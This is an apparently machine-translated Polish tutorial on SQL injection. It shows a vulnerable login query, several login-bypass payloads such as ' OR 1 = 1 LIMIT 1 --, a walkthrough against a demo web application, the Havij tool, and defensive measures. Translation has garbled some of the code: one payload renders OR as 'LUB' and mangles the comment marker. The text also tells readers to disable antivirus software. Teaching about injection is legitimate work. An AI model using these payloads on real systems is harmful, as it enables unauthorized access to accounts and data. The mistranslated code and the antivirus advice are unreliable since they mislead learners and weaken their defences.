Samouczek dotyczący wstrzykiwania SQL: jak uczyć się na przykładzie

Co to jest zastrzyk SQL?

SQL Injection to atak, który zatruwa dynamiczne instrukcje SQL w celu skomentowania określonych części instrukcji lub dołączenia warunku, który zawsze będzie prawdziwy. Wykorzystuje wady projektowe źle zaprojektowanych aplikacji internetowych, aby wykorzystać instrukcje SQL do wykonania złośliwego kodu SQL.

Dane są jednym z najważniejszych elementów systemów informatycznych. Aplikacje internetowe oparte na bazach danych są używane przez organizację do uzyskiwania danych od klientów. SQL to skrót od Structured Query Language. Służy do pobierania i manipulowania danymi w bazie danych.

SQL Injection

Jak działa atak polegający na wstrzykiwaniu SQL?

Rodzaje ataków, które można przeprowadzić przy użyciu wstrzykiwania SQL, różnią się w zależności od typu silnika bazy danych. Atak działa na dynamicznych instrukcjach SQL. Instrukcja dynamiczna to instrukcja generowana w czasie wykonywania przy użyciu parametrów hasło z formularza internetowego lub ciągu zapytania URI.

Przykład wstrzykiwania SQL

Rozważmy prostą aplikację internetową z formularzem logowania. Poniżej pokazano kod formularza HTML.

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

TUTAJ,

  • Powyższy formularz akceptuje adres e-mail i hasło, a następnie przesyła je do PHP plik o nazwie indeks.php.
  • Ma opcję przechowywania sesji logowania w pliku cookie. Wywnioskowaliśmy to z pola wyboru remember_me. Używa metody post do przesyłania danych. Oznacza to, że wartości nie są wyświetlane w adresie URL.

Załóżmy, że instrukcja na zapleczu służąca do sprawdzania identyfikatora użytkownika jest następująca

SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);

TUTAJ,

  • Powyższa instrukcja wykorzystuje wartości funkcji $_POST[] array bezpośrednio, bez ich odkażania.
  • Hasło jest szyfrowane przy użyciu algorytmu MD5.

Zilustrujemy atak polegający na wstrzykiwaniu SQL przy użyciu sqlfiddle. Otwórz adres URL http://sqlfiddle.com/ w przeglądarce internetowej. Wyświetli się następujące okno.

Uwaga: będziesz musiał napisać instrukcje SQL

Wstrzykiwanie SQL działa

Krok 1) Wpisz ten kod w lewym okienku

CREATE TABLE `users` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(45) NULL,
  `password` VARCHAR(45) NULL,
  PRIMARY KEY (`id`));
  
  
insert into users (email,password) values ('m@m.com',md5('abc'));

Krok 2) Kliknij opcję Utwórz schemat

Krok 3) Wprowadź ten kod w prawym okienku

select * from users;

Krok 4) Kliknij Uruchom SQL. Zobaczysz następujący wynik

Wstrzykiwanie SQL działa

Załóżmy, że materiały użytkownika admin@admin.sys oraz 1234 jako hasło. Instrukcja, która ma zostać wykonana w bazie danych, to

SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');

Powyższy kod można wykorzystać, komentując część hasła i dodając warunek, który zawsze będzie prawdziwy. Załóżmy, że atakujący poda następujące dane w polu adresu e-mail.

xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]

xxx jako hasło.

Wygenerowana instrukcja dynamiczna będzie wyglądać następująco.

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');

TUTAJ,

  • xxx@xxx.xxx kończy się pojedynczym cudzysłowem, który uzupełnia cudzysłów
  • OR 1 = 1 LIMIT 1 to warunek, który zawsze będzie prawdziwy i ogranicza zwracane wyniki tylko do jednego rekordu.
  • — ' AND … to komentarz SQL, który eliminuje część hasła.

Skopiuj powyższą instrukcję SQL i wklej ją SQL FiddleUruchom pole tekstowe SQL, jak pokazano poniżej

Wstrzykiwanie SQL działa

Aktywność hakerska: SQL Inject do aplikacji internetowej

Mamy prostą aplikację internetową pod adresem http://www.techpanda.org/ który jest podatny na ataki typu SQL Injection wyłącznie w celach demonstracyjnych. Powyższy kod formularza HTML pochodzi ze strony logowania. Aplikacja zapewnia podstawowe zabezpieczenia, takie jak czyszczenie pola e-mail. Oznacza to, że nasz powyższy kod nie może zostać użyty do ominięcia logowania.

Aby obejść ten problem, możemy zamiast tego wykorzystać pole hasła. Poniższy diagram przedstawia kroki, które należy wykonać

SQL Inject do aplikacji internetowej

Załóżmy, że atakujący podaje następujące dane wejściowe

  • Krok 1: Wpisz xxx@xxx.xxx jako adres e-mail
  • Krok 2: Wpisz xxx') LUB 1 = 1 — ]

SQL Inject do aplikacji internetowej

  • Kliknij przycisk Prześlij
  • Zostaniesz przekierowany do panelu kontrolnego

Wygenerowana instrukcja SQL będzie wyglądać następująco

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');

Poniższy diagram ilustruje wygenerowanie wyciągu.

SQL Inject do aplikacji internetowej

TUTAJ,

  • W instrukcji inteligentnie założono, że używane jest szyfrowanie md5
  • Kończy pojedynczy cudzysłów i nawias zamykający
  • Dołącza do instrukcji warunek, który zawsze będzie prawdziwy

Ogólnie rzecz biorąc, udany atak typu SQL Injection wykorzystuje szereg różnych technik, takich jak te zaprezentowane powyżej, w celu przeprowadzenia udanego ataku.

Inne typy ataków typu SQL Injection

Wstrzyknięcia SQL mogą wyrządzić więcej szkód niż tylko przekazując algorytmy logowania. Niektóre z ataków obejmują:

  • Usuwanie danych
  • Aktualizacja danych
  • Wstawianie danych
  • Wykonywanie poleceń na serwerze, które mogą pobierać i instalować złośliwe programy, takie jak trojany
  • Eksportowanie cennych danych, takich jak dane kart kredytowych, adresy e-mail i hasła, na zdalny serwer atakującego
  • Uzyskiwanie danych logowania użytkownika itp.
  • Wstrzykiwanie SQL w oparciu o pliki cookie
  • Wstrzykiwanie SQL oparte na błędach
  • Ślepy wtrysk SQL

Powyższa lista nie jest wyczerpująca; to po prostu daje wyobrażenie o tym, co to jest SQL Injection

Narzędzia do automatyzacji wstrzykiwania SQL

W powyższym przykładzie zastosowaliśmy techniki ataku ręcznego w oparciu o naszą ogromną wiedzę na temat języka SQL. Istnieją zautomatyzowane narzędzia, które mogą pomóc Ci przeprowadzić ataki skuteczniej i w możliwie najkrótszym czasie. Narzędzia te obejmują

Jak zapobiegać atakom typu SQL Injection

Organizacja może przyjąć następującą politykę w celu ochrony przed atakami typu SQL Injection.

  • Nigdy nie należy ufać wejściom użytkownika – Należy go zawsze oczyścić przed użyciem w dynamicznych instrukcjach SQL.
  • Procedury składowane – mogą one enkapsulować instrukcje SQL i traktować wszystkie dane wejściowe jako parametry.
  • Przygotowane zestawienia – przygotował instrukcje do działania, tworząc najpierw instrukcję SQL, a następnie traktując wszystkie przesłane dane użytkownika jako parametry. Nie ma to wpływu na składnię instrukcji SQL.
  • Wyrażenia regularne – można ich użyć do wykrycia potencjalnego szkodliwego kodu i usunięcia go przed wykonaniem instrukcji SQL.
  • Prawa dostępu użytkownika do połączenia z bazą danych – Kontom, do których jesteś przyzwyczajony, należy nadać jedynie niezbędne prawa dostępu połączyć się z bazą danych. Może to pomóc w ograniczeniu wydajności instrukcji SQL na serwerze.
  • Komunikaty o błędach – nie powinny one ujawniać poufnych informacji ani dokładnego miejsca wystąpienia błędu. Zamiast wyświetlania instrukcji SQL, które spowodowały błąd, można użyć prostych niestandardowych komunikatów o błędach, takich jak „Przepraszamy, występują błędy techniczne. Skontaktowano się z zespołem technicznym. Spróbuj ponownie później”.

Aktywność hakerska: użyj Havij do wstrzykiwania SQL

W tym praktycznym scenariuszu użyjemy programu Havij Advanced SQL Injection do przeskanowania witryny internetowej w poszukiwaniu luk.

Uwaga: Twoje program antywirusowy może go oznaczyć ze względu na jego charakter. Powinieneś dodać go do listy wykluczeń lub wstrzymać działanie oprogramowania antywirusowego.

Poniższy obrazek przedstawia główne okno Havij

Użyj Havij do wstrzykiwania SQL

Powyższe narzędzie może zostać wykorzystane do oceny podatności strony internetowej/aplikacji.

Podsumowanie

  • Wstrzykiwanie SQL to typ ataku wykorzystujący nieprawidłowe instrukcje SQL
  • Ataki typu SQL injection można stosować w celu ominięcia algorytmów logowania, pobierania, wstawiania, aktualizowania i usuwania danych.
  • Narzędzia do wstrzykiwań SQL obejmują SQLMap, SQLPing i SQLSmack itp.
  • Dobra polityka bezpieczeństwa podczas pisania instrukcji SQL może pomóc w ograniczeniu ataków polegających na wstrzykiwaniu kodu SQL.